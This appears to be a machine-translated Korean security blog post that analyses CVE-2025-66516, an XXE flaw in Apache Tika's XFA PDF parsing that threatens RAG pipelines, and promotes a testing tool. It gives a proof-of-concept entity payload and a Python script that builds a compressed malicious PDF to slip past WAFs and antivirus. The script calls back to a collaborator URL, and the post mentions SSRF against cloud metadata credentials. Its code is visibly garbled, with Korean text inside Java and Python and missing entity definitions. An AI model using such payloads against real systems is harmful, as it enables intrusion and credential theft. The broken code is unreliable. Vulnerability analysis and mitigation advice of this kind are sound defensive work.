검색 증강 세대(RAG) 파이프라인을 서둘러 구축하는 과정에서 업계는 근본적인 진실을 간과했습니다: 구문 분석기는 공격 표면입니다.
2025년의 헤드라인은 프롬프트 인젝션과 탈옥에 집중되었지만, 가장 파괴적인 공격은 데이터를 처리하는 눈에 잘 띄지 않는 미들웨어를 표적으로 삼았습니다. CVE-2025-66516 (CVSS 10.0)은 이러한 관리 감독의 정점입니다. AI 취약점이 아닙니다. 그 자체로최신 AI 아키텍처에 대해 무기화된 레거시 인프라 취약점입니다.
이 분석은 아파치 티카 XFA 취약점의 메커니즘을 분석하고, 표준 WAF가 이 취약점을 탐지하지 못하는 이유를 설명하며, 모의 침투 테스터를 위한 검증된 개념 증명(PoC) 전략을 제공합니다.
컨텍스트: 지금 CVE-2025-66516이 중요한 이유
심각성을 이해하려면 2026년 일반적인 엔터프라이즈 RAG 시스템의 아키텍처를 분석해야 합니다.
- 사용자 레이어: 직원이 재무 보고서나 이력서 등의 PDF를 내부 'AI 어시스턴트'에 업로드합니다.
- 수집 레이어: 백엔드(LangChain, LlamaIndex 또는 사용자 정의 Python 스크립트)는 문서 로더를 활용합니다.
- 구문 분석 레이어: 이러한 로더 중 85%는 다음을 사용합니다. 아파치 티카 (종종 Docker 컨테이너에서 헤드리스 서버로 실행되는)를 사용하여 텍스트를 추출합니다.
- 벡터화: 텍스트는 벡터 데이터베이스(Pinecone, Milvus, Weaviate)에 임베드되어 저장됩니다.
CVE-2025-66516 조회수 레이어 3. 공격자는 이를 통해 표준 PDF 내에 악성 XFA(XML Forms Architecture) 페이로드를 삽입할 수 있습니다. Tika가 양식 데이터를 파싱하여 LLM의 텍스트를 추출하려고 시도하면, XML을 실행하여 다음과 같은 결과를 초래합니다. XML 외부 엔티티(XXE) 주입.
Tika 서버는 임시 파일을 처리하기 위해 컨테이너 내에서 루트 권한으로 실행되는 경우가 많기 때문에 이 XXE는 즉시 원격 코드 실행(RCE) 또는 서버 측 요청 위조(SSRF)를 사용하여 공격자가 AWS 메타데이터 자격 증명을 덤프하거나 내부 VPC로 피벗할 수 있도록 합니다.

기술 분석: XFA 파서 로직 결함
이 취약점은 org.apache.tika.parser.pdf.PDFParser 클래스를 처리하는 방법, 특히 XDP (XML 데이터 패키지) 패킷을 PDF 안에 넣습니다.
3.2.2 이전 버전에서는 XFA 데이터를 추출하는 로직이 다음과 같이 표시되었습니다(단순화된 Java 표현):
Java
// 취약한 코드 세그먼트 (개념적) if (document.getCatalog().getAcroForm().hasXFA()) { XFA xfa = document.getCatalog().getAcroForm().getXFA(); Document xfaDom = xfa.getDomDocument(); // <--- 트리거 포인트 // 여기의 기본 XML 트랜스포머는 XFA 스트림에 대해 DTD나 외부 엔티티를 // 효과적으로 비활성화하지 않았습니다. this.extractTextFromXFA(xfaDom); }
이 치명적인 오류는 PDF 렌더링 엔진(PDFBox)이 Tika가 DOM에 액세스하기 전에 XML 스트림을 위생 처리했다고 가정했을 때 발생했습니다. 그렇지 않았습니다. 파서는 PDF의 내부 구조를 암묵적으로 신뢰했습니다.
비교: 표준 XXE와 CVE-2025-66516 비교
| 기능 | 표준 XXE | CVE-2025-66516(티카 XFA) |
|---|---|---|
| 벡터 | 직접 XML 업로드(.xml) | 바이너리 PDF에 포함 (.pdf) |
| 탐지 | 쉬움(WAF 차단 <!ENTITY) | 하드 (페이로드는 PDF 스트림으로 압축/인코딩됨) |
| 권한 | 일반적으로 제한된 웹 사용자 | 종종 루트(도커화된 Tika 서버 기본값) |
| 영향 | 정보 공개 | 클래스 로딩 / SSRF를 통한 RCE |
익스플로잇 구축(PoC)
이를 무기화하려면 단순한 텍스트 편집기만으로는 충분하지 않습니다. PDF 개체 구조를 조작해야 합니다. 목표는 악의적인 XDP 스트림은 사용자가 제어하는 외부 엔티티를 참조합니다.
1단계: 악성 XML 페이로드
먼저 엔티티를 정의하는 XML을 작성합니다. 서버를 다운시키지 않고 취약점을 확인하기 위해 대역 외(OOB) 상호 작용을 테스트하려고 합니다.
XML
<xdp:xdp xmlns:xdp=""> <!DOCTYPE 데이터 [ <!ENTITY % 페이로드 시스템 ""> %페이로드; ]> CVE-Check필드> 템플릿> </xdp:xdp

2단계: Python 주입 스크립트
Python을 사용하여 이 XML을 유효한 PDF 객체 구조로 래핑합니다. 이렇게 하면 파일이 수학적으로 유효한 PDF이므로 서명 기반 안티바이러스를 우회할 수 있습니다.
Python
`import zlib
def build_exploit_pdf(callback_url): # 1. 악성 XFA 패킷 xfa_xml = f"""를 정의합니다. <xdp:xdp xmlns:xdp=""http://ns.adobe.com/xdp/"> <!DOCTYPE root [ %xxe; ]> """.strip()
# 2. 스트림 압축(난독화)
# Tika는 자동으로 압축하지만 WAF는 압축된 스트림을 놓치는 경우가 많습니다.
stream_content = zlib.compress(xfa_xml.encode('utf-8'))
# 3. PDF 본문 구성
# 객체 3은 XFA 스트림을 참조합니다.
pdf_body = (
b"%PDF-1.7\\n"
b"1 0 obj\\n<< /타입 /카탈로그 /페이지 2 0 R /AcroForm <> >>\\nendobj\\n"
b"2 0 객체\\n<>\\nendobj\\n"
b"3 0 obj\\n<>\\n"
b"stream\\n" + stream_content + b"\\nendstream\\nendobj\\n"
b"trailer\\n<>\\n%%EOF"
)
open("resume_hacker.pdf", "wb")를 f로 사용합니다:
f.write(pdf_body)
print(f"[+] zlib 압축을 사용하여 생성된 아티팩트 'resume_hacker.pdf')
실행
build_exploit_pdf("http://burp-collaborator-url/xxe_trigger“)`
피해자의 RAG 에이전트가 처리하는 경우 resume_hacker.pdf 를 사용하여 임베딩을 생성하면 Tika 백엔드가 개체 3을 인플레이션하고 XML을 파싱한 다음 공동 작업자 URL에 요청을 실행합니다.
최신 DevSecOps의 사각지대
CVE-2025-66516이 2026년에도 지속되는 이유는 무엇인가요? 이는 "왼쪽으로 이동" 방법론에 상당한 격차가 있음을 강조합니다.
대부분의 데브섹옵스 팀은 소스 코드 (SAST) 및 기본 이미지 (컨테이너 스캔). 그러나 Tika는 종종 '블랙박스' 유틸리티로 취급되기도 합니다.
- SAST 는 바이너리 종속성이기 때문에 표시되지 않습니다.
- DAST (동적 애플리케이션 보안 테스트)는 일반적으로 JSON 또는 SQLi로 API 엔드포인트를 퍼징하지만 복잡한 바이너리 형식의 다국어 파일 업로드는 거의 시도하지 않습니다.
이것이 바로 기존 테스트 방법론이 AI 에이전트에 대해 실패하는 이유입니다. 에이전트는 복잡한 비정형 데이터를 사용하도록 설계되었으므로 테스트 케이스도 복잡한 비정형 데이터여야 합니다.
펜리전트를 통한 자동화된 유효성 검사
이러한 특정 벡터(비정형 파일 형식에 내장된 공격)는 차세대 공격 보안의 핵심 초점입니다. 이러한 공격에는 다음과 같은 도구가 사용됩니다. 펜리전트 네서스나 버프 스위트와 같은 기존 스캐너와 차별화됩니다.
Penligent의 AI 에이전트는 애플리케이션의 컨텍스트를 이해하도록 설계되었습니다. 펜리전트는 RAG 파이프라인에서 파일 업로드 엔드포인트를 발견하면 단순히 HTTP 헤더만 분석하지 않습니다. 위의 PDF 익스플로잇과 같은 "변이 기반" 페이로드를 지능적으로 구성합니다. 효과적으로 묻습니다: "커널 수준의 익스플로잇이 포함된 이력서를 이 AI에게 제공하면 처리할 수 있을까요?"
펜리전트는 이러한 다국어 파일(XXE가 포함된 PDF, PHP 웹쉘이 포함된 이미지)을 자동으로 생성함으로써 표적의 기본 파싱 로직을 이해하는 정교한 공격자를 시뮬레이션하여 CVE-2025-66516 및 유사한 '형식 혼동' 공격에 대한 RAG 파이프라인의 복원력을 현실적으로 평가할 수 있도록 합니다.
완화 전략
조직에서 Tika(또는 이를 번들로 제공하는 프레임워크, 예를 들어 Unstructured.io 또는 LangChain 커뮤니티), 이 수정 사항을 즉시 적용하세요.
1. "핵" 옵션: XFA 비활성화
비즈니스에서 특별히 대화형 PDF 양식의 데이터를 구문 분석해야 하는 경우가 아니라면(RAG의 경우 드물지만), 다음에서 XFA 구문 분석기를 완전히 비활성화하세요. tika-config.xml.
XML
false false false
2. 구문 분석기 분리("에어락" 패턴)
애플리케이션 로직이나 벡터 데이터베이스와 동일한 컨텍스트에서 문서 구문 분석을 실행하지 마세요.
- 배포되지 않는 컨테이너에서 Tika를 실행합니다.
- 네트워크 격리: Tika 컨테이너에는 다음이 있어야 합니다. 제로 이그레스 액세스. 파일을 수신하고 텍스트를 반환하며 인터넷 또는 내부 클라우드 메타데이터 서비스에 대한 연결을 시작할 수 없습니다(
169.254.169.254). - 리소스 제한: 엄격한 메모리 제한 설정(
Xmx)를 사용하여 XXE의 사촌격인 '억 개의 웃음' DoS 공격을 방지합니다.
3. 샌드박스가 적용된 구문 분석기로 이동
신뢰할 수 없는 입력에 대해서는 Java 기반 파서에서 벗어나는 것을 고려하세요. Rust 또는 Go를 사용하는 최신 대안 또는 다음과 같은 샌드박스 환경을 활용하세요. gVisor 또는 AWS 파이어크래커는 바이너리 파일을 파싱하는 본질적으로 위험한 작업에 훨씬 더 강력한 격리 계층을 제공합니다.
요약
CVE-2025-66516은 AI 보안에 대한 경각심을 일깨우는 역할을 합니다. 우리는 모래 위에 지능형 성을 짓고 있습니다. AI 모델이 수십 년 된 구문 분석 라이브러리에 의존하여 세상을 해석하는 한, 이러한 라이브러리는 공격자에게 가장 저항이 적은 경로로 남아있을 것입니다.
수집 레이어를 보호합니다. Tika 버전을 확인하세요. 그리고 시스템에 업로드된 모든 PDF는 달리 입증될 때까지 무기라고 가정하세요.

